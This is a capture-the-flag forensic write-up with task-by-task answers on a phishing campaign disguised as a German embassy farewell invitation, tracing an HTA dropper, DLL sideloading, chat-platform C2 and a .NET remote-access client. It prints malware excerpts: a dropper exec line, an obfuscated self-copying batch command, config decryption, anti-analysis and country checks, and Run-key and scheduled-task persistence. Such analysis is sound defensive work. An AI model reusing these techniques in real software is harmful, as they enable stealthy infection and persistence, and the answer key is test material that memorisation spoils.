einladen

Released2023-11-13
Retired2024-04-04
Authorthewhitefriday

Scenario

Our staff recently received an invite to the German embassy to bid farewell to the Germany Ambassador. We believe this invite was a phishing email due to alerts that fired on our organisation’s SIEM tooling following the receipt of such mail. We have provided a wide variety of artifacts inclusive of numerous binaries, a network capture, DLLs from the host system and also a .hta file. Please analyse and complete the questions detailed below! Warning This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. Once the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.


Task 01

Question: The victim visited a web page. The HTML file of the web page has been provided as ‘downloader.html’ sample file.The web page downloads a ZIP file named ‘Invitation_Farewell_DE_EMB.zip’. What is the SHA-256 hash of the ZIP file?

To get an overview of the provided artifacts, you can take a look at the contents of the archive using 7z l .\einladen.zip.

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-07-28 07:25:06 .....         2560          782  AppVIsvSubsystems64.dll
2023-08-12 18:46:17 .....       300159       111531  downloader.html
2023-08-30 05:05:52 .....        62976        30363  EmpireClient.exe
2023-07-28 07:25:27 .....       301270        91067  Invitation_Farewell_DE_EMB.hta
2023-08-30 11:04:12 .....        83855        83867  Invitation_Farewell_DE_EMB.zip
2023-07-28 07:25:06 .....        25170        20675  Invitation.pdf
2023-08-16 18:07:46 .....     15310453      2307057  Logfile.PML
2023-07-28 07:25:06 .....        33280        15098  mso.dll
2023-07-28 07:25:06 .....        60320        23537  msoev.exe
2023-08-16 18:04:12 .....        54100        15943  msoev.pcapng
2023-08-09 17:26:56 .....      2779156      1073333  sheet.hta
2023-08-30 05:04:47 .....       177938        71099  unc.js
------------------- ----- ------------ ------------  ------------------------
2023-08-30 11:04:12           19191237      3844352  12 files

One of the listed files is the desired Invitation_Farewell_DE_EMB.zip - after successfully extracting it, you can generate the required checksum using the Get-FileHash cmdlet.

Get-FileHash .\Invitation_Farewell_DE_EMB.zip | Select-Object Hash

Hash
----
5D4BF026FAD40979541EFD2419EC0B042C8CF83BC1A61CBCC069EFE0069CCD27

Answer: 5D4BF026FAD40979541EFD2419EC0B042C8CF83BC1A61CBCC069EFE0069CCD27


Task 02

Question: The downloaded ZIP file contains a HTA file, which creates multiple files. One of those files is a signed fileby Microsoft Corporation. In HTA file, which variable’s value was the content of that signed file?

The corresponding archive contains the Invitation_Farewell_DE_EMB.hta file. This HTML Application file is a program whose source code consists of HTML and one or more scripting languages such as VBScript or JScript. While regular HTML files are opened in a browser and are restricted by its sandbox constraints, an HTA file is considered a trusted application. It is executed via mshta.exe and can therefore interact directly with the system. In this case, the HTA file contains several variables (mso, msoev, app, pdf) whose contents are written to corresponding files using new ActiveXObject("Scripting.FileSystemObject").

| Variable | Filepath                                 |
|----------|------------------------------------------|
| mso      | C:\windows\tasks\mso.dll                 |
| msoev    | C:\windows\tasks\msoev.exe               |
| app      | C:\windows\tasks\AppVIsvSubsystems64.dll |
| pdf      | .\Invitation.pdf                         |

These extracted files were already included in the initial archive (see Task 01), so they do not need to be written independently. The signature of the files can be verified using the Get-AuthenticodeSignature cmdlet; only one of these four files has a certificate:

(Get-AuthenticodeSignature .\msoev.exe).SignerCertificate.Subject
CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

At the end of the HTA file, after all files have been exported, the previously written file msoev.exe is additionally executed.

<script language="vbscript">
    CreateObject("WScript.Shell").Exec "C:\\windows\\tasks\\msoev.exe"
</script>

Answer: msoev


Task 03

Question: The threat actor was acting as an embassy of a country. Which country was that?

A look at the provided PDF file Invitation.pdf reveals the delivered decoy document and answers this question.

Invitation.pdf

Answer: Germany


Task 04

Question: The malware communicated with a chatting platform domain. What is the domain name (inclusive of sub domain) the malware connects to?

To analyze the malicious traffic generated by the malware, the artifact archive also includes a .pcapng file. This file is a capture of network traffic that allows you to trace and analyze every single request. It can be opened with tools like Wireshark, where you can perform relevant queries. To filter all DNS queries for A records (and thus obtain the requested domain names), a simple filter on dns.a is sufficient.

WireShark DNS Filter

Answer: toyy.zulipchat.com


Task 05

Question: How many DNS A records were found for that domain?

The answer to this question, and thus the listed A records, are already visible in the output from Task 04. They become even clearer by expanding the corresponding frame.

WireShark DNS Frame

Answer: 6


Task 06

Question: It seems like the chatting service was running on a very known cloud service using a FQDN, where the FQDN contains the IP address of the chatting domain in reversive format somehow. What is the FQDN?

When inspecting the network traffic capture for contacts with the IP addresses from the DNS A records, Wireshark directly resolves these addresses to their corresponding hostnames.

WireShark FQDN

Answer: ec2-35-171-197-55.compute-1.amazonaws.com


Task 07

Question: What was the parent PID (PPID) of the malware?

As an additional artifact alongside the malicious files and the network traffic capture, there is also a Logfile.PML which is a Process Monitor log file.

Procmon Process Tree

Using the Process Tree tool in Process Monitor, this log file provides an overview of the executed processes and their relationships. In the case of the executed malware, it shows that the targeted msoev.exe process was spawned directly under explorer.exe. However, the image path shown here is C:\Users\TWF\Desktop\msoev.exe. My assumption is that during the creation of the challenge, the malware was manually executed by double-clicking the EXE file located there, rather than through the previously shown execution of the .hta document. In that case, the file path would have been C:\Windows\Tasks\msoev.exe and the parent would not have been explorer.exe but mshta.exe.

Answer: 4156


Task 08

Question: What was the computer name of the victim computer?

In the previous screenshot of the Process Tree tool, the computer name is also visible.

Answer: DESKTOP-O88AN4O


Task 09

Question: What was the username of the victim computer?

The same applies to the username; it can also be read from several locations in the previous screenshot.

Answer: TWF


Task 10

Question: How many times were the Windows Registry keys set with a data value?

Utilizing the log file, a filter can be applied on the RegSetValue operation to display only events that involve setting a new value.

Procmon Registry Events Filter

Answer: 11


Task 11

Question: Did the malicious mso.dll load by the malware executable successfully?

By limiting the events to only Show Process and Thread Activity, it is possible to check which images were loaded into the process, which threads were started, and how long they ran. In addition to some regular System32 DLLs, the targeted mso.dll (also located on the Desktop) is successfully loaded.

Procmon Process and Thread Activity

Answer: yes


Task 12

Question: The JavaScript file tries to write itself as a .bat file. What is the .bat file name (name+extension) it tries to write itself as?

A look inside the artifact archive reveals a .js file, which, during the regular execution of the malware, is apparently downloaded and placed by the DLL (see possibly the TLS stream in the network capture). In this write-up, only the provided JavaScript file is examined, and the method by which it arrives on the system is not further discussed, as the C2 communication likely took place in real time via a chatroom that cannot be replicated within the scope of this Sherlock. For a deeper investigation into the underlying APT attack, refer to blog posts such as this one by EclecticIQ, which covers the campaign targeting NATO ministries.

This is an obfuscated file in which simple obfuscation mechanisms are used to inflate the file and make it unreadable through additions that are not required during malware execution. However, by reversing these mechanisms, a significant amount of information can still be extracted from the file, allowing the command to copy the file to be reconstructed. Roughly executed, the JavaScript creates a dictionary adviserake in which various characters are assigned to different keys. Then, legitimate commands are assembled by concatenating the values utilizing this keys.

adviserake=];adviserake['lettersmatter']='n';adviserake['fantasticporter']='k';adviserake['soggyyoke']='s';adviserake['outgoingchilly']='l';adviserake['odddetect']='m';adviserake['countfield']='c';adviserake['acceptfour']='u';adviserake['debtahead']='z';adviserake['scaredmany']='g';adviserake['commondiscussion']='v';adviserake['awesomelikeable']='d';adviserake['steppretend']='x';adviserake['ancienttumble']='f';adviserake['balanceterrify']='j';adviserake['dividegiraffe']='q';adviserake['laughablepancake']='e';adviserake['pigutopian']='i';adviserake['gunarrange']='h';adviserake['preachmaniacal']='y';adviserake['sickgrass']='o';adviserake['campshrill']='a';adviserake['lineshake']='t';adviserake['phobicscarf']='w';adviserake['faceelite']='r';adviserake['attemptpassenger']='p';adviserake['looselighten']='b';

After evaluating all keys and concatenating the values, a simple WScript.Shell command is formed to copy the file using cmd to %temp%\richpear.bat (which evaluates to AppData\Local\Temp for the executing user) and executing this file.

return this'['WScript']"CreateObject"'WScript.Shell'['run']cmd /k copy['WScript']['ScriptFullName']'" "%temp%\\\\richpear.bat" && "%temp%\\\\richpear.bat

Answer: richpear.bat


Task 13

Question: The JavaScript file contains a big text which is encoded as Base64. If you decode that Base64 text and write its content as an EXE file. What will be the SHA256 hash of the EXE?

In addition to the previously executed WScript (run via mshta or similar), on subsequent execution, the embedded base64-encoded block is executed as richpear.bat via CMD. This block contains an executable whose hash can be determined after exporting and decoding.

Get-FileHash '.\extracted.exe' | Select-Object Hash

Hash
----
DB84DB8C5D76F6001D5503E8E4B16CDD3446D5535C45BBB0FCA76CFEC40F37CC

Answer: DB84DB8C5D76F6001D5503E8E4B16CDD3446D5535C45BBB0FCA76CFEC40F37CC


Task 14

Question: The malware contains a class Client.Settings which sets different configurations. It has a variable ‘Ports’ where the value is Base64 encoded. The value is decrypted using Aes256.Decrypt. After decryption, what will be its value (the decrypted value will be inside double quotation)?

The exported .exe file appears to be the same EmpireClient.exe that was also included in the initial artifact archive (based on matching SHA256 checksum). A quick inspection of the file using PEstudio reveals that it is a 32-bit .NET executable. For further analysis, tools like dnSpy can be used to decompile it. The goal is to identify the ports that are stored in encrypted form in the Client.Settings variable Ports. To decrypt them, the rest of the program flow can be analyzed and used as reference.

public static string Ports = "Yhc6k+R99kweya1xRMDhAdRjrYVuSxpgA2Lefoj5KOsbK3OcJtOpNfDubKUTCiWHoVrnnwqj70kyfYTLboawyVxN0W+L/MRchSITSNbbgXE=";
[...]
public static string Key = "d0cyOFJwZlBBSXBnalhEVFd2bEdiVHRkQnpybnRBeVM=";

For this purpose, the Decrypt(byte[] input) function in Client.Algorithm.Aes256 is used to decrypt the settings. During initialization, a hardcoded salt and master key are used. With knowledge of these two values and the custom AES decryption function, the encrypted Ports setting can be decrypted accordingly.

public Aes256(string masterKey)
{
    if (string.IsNullOrEmpty(masterKey))
    {
        throw new ArgumentException("masterKey can not be null or empty.");
    }
    using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000))
    {
        this._key = rfc2898DeriveBytes.GetBytes(32);
        this._authKey = rfc2898DeriveBytes.GetBytes(64);
    }
}

[...]

public byte[] Decrypt(byte[] input)
{
    if (input == null)
    {
        throw new ArgumentNullException("input can not be null.");
    }
    byte[] array6;
    using (MemoryStream memoryStream = new MemoryStream(input))
    {
        using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
        {
            aesCryptoServiceProvider.KeySize = 256;
            aesCryptoServiceProvider.BlockSize = 128;
            aesCryptoServiceProvider.Mode = CipherMode.CBC;
            aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
            aesCryptoServiceProvider.Key = this._key;
            using (HMACSHA256 hmacsha = new HMACSHA256(this._authKey))
            {
                byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
                byte[] array2 = new byte[32];
                memoryStream.Read(array2, 0, array2.Length);
                if (!this.AreEqual(array, array2))
                {
                    throw new CryptographicException("Invalid message authentication code (MAC).");
                }
            }
            byte[] array3 = new byte[16];
            memoryStream.Read(array3, 0, 16);
            aesCryptoServiceProvider.IV = array3;
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
            {
                byte[] array4 = new byte[memoryStream.Length - 16L + 1L];
                byte[] array5 = new byte[cryptoStream.Read(array4, 0, array4.Length)];
                Buffer.BlockCopy(array4, 0, array5, 0, array5.Length);
                array6 = array5;
            }
        }
    }
    return array6;
}

[...]

private static readonly byte[] Salt = new byte[]
{
    191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
    2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
    210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
    57, 65
};

CyberChef can be used for this decryption. However, since both the key and IV for AES decryption must first be derived, the process can be broken into multiple steps with manual intermediate storage of the outputs (edit: registers can be used too, check this awesome video by 0xdf)

  1. The PBKDF2 key can be created via Derive PBKDF2 key recipe using the d0cyOFJwZlBBSXBnalhEVFd2bEdiVHRkQnpybnRBeVM Passphrase, Key size 256, 50000 Iterations and the hardcoded Salt bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 resulting in key: ab861f9c943d7721c0550990f56a5a949bf37ad0e8972b9fb7e0c2f344118e93
  2. As part of the decryption process, the first 32 bytes are used to verify the integrity and authenticity of the data using HMACSHA256. Therefore these 32 bytes can be ignored for the actual decryption process afterwards (via Drop Bytes recipe 0->64) resulting in the remaining data being 1b2b739c26d3a935f0ee6ca5130a2587a15ae79f0aa3ef49327d84cb6e86b0c95c4dd16f8bfcc45c85221348d6db8171.
  3. 16 bytes (1b2b739c26d3a935f0ee6ca5130a2587) are used as IV in CBC mode decryption of the remaining data

CyberChef Final Decryption

Answer: 666,777,111,5544


Task 15

Question: The malware sends a HTTP request to a URI and checks the country code or country name of the victim machine. To which URI does the malware sends request for this?

In another function of the executable, Client.Helper.GetSNG(), the affiliation of the host system is checked. The goal is to ensure that the infected system does not belong to the СНГ (SNG), the Commonwealth of Independent States (CIS). For this, a request is sent to http://ip-api.com/json/ in the functions GetCountryCode() and GetCountryName(), and the response is filtered for the fields countryCode and country.

public static string GetCountryCode()
{
    string text = "http://ip-api.com/json/";
    string text2 = string.Empty;
    try
    {
        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text);
        httpWebRequest.Method = "GET";
        httpWebRequest.ContentType = "application/json";

Answer: http://ip-api.com/json/


Task 16

Question: After getting the country code or country name of the victim machine, the malware checks some country codes and a country name. In case of the country name, if the name is matched with the victim machine’s country name, the malware terminates itself. What is the country name it checks with the victim system?

The functionality to terminate the malware on systems that match the targeted countries is located, as previously mentioned in Task 15, in the GetSNG() function.

public static void GetSNG()
{
    string countryCode = Antisng.GetCountryCode();
    string countryName = Antisng.GetCountryName();
    if (countryCode == "RU" || countryCode == "AZ" || countryCode == "AM" || countryCode == "BY" || countryCode == "KZ" || countryCode == "KG" || countryCode == "MD" || countryCode == "TJ" || countryCode == "TM" || countryCode == "UZ" || countryName == "Russia")
    {
        Environment.Exit(0);
    }
}

Answer: Russia


Task 17

Question: As an anti-debugging functionality, the malware checks if there is any process running where the process name is a debugger. What is the debugger name it tries to check if that’s running? Placeholder: ****y

In addition to checking for specific countries, further security measures are implemented to ensure that the malware is not running in a debugger, thereby complicating analysis. For this purpose, the Client.Helper.Anti_Analysis class contains the function RunAntiAnalysis():

public static void RunAntiAnalysis()
{
    if (Anti_Analysis.DetectManufacturer() || Anti_Analysis.DetectDebugger() || Anti_Analysis.DetectSandboxie() || Anti_Analysis.IsSmallDisk() || Anti_Analysis.IsXP() || Anti_Analysis.IsProcessRunning("dnSpy") || Anti_Analysis.CheckWMI())
    {
        Environment.FailFast(null);
    }
}

Answer: dnSpy


Task 18

Question: For persistence, the malware writes a Registry key where the registry key is hardcoded in the malware in reversed format. What is the registry key after reversing?

As part of the NormalStartup class in the Client.Install namespace, the Install() function establishes one of two different persistence mechanisms. The method chosen depends on whether the executing user has administrative privileges:

  • If the user is an administrator, a scheduled task is created to run the executable at each logon
  • If the user is not an administrator, a Run key entry is added to the registry instead. The registry path for this key is stored in reversed form within the malware.
else
{
    using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
    {
        if (registryKey != null)
        {
            registryKey.SetValue(Path.GetFileNameWithoutExtension(text), "\"" + text + "\"");
        }
    }
}

Answer: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\


Task 19

Question: The malware sets a scheduled task. What is the Run Level for the scheduled task/job it sets? Placeholder: ******t

If the executing user is an administrator, a scheduled task is created instead, which runs the file automatically.

Process.Start(new ProcessStartInfo
{
    FileName = "cmd",
    Arguments = string.Concat(new string[]
    {
        "/c schtasks /create /f /sc onlogon /rl highest /tn \"",
        Path.GetFileNameWithoutExtension(text),
        "\" /tr \"",
        text,
        "\" & exit"
    }),
    WindowStyle = ProcessWindowStyle.Hidden,
    CreateNoWindow = true
});

Answer: highest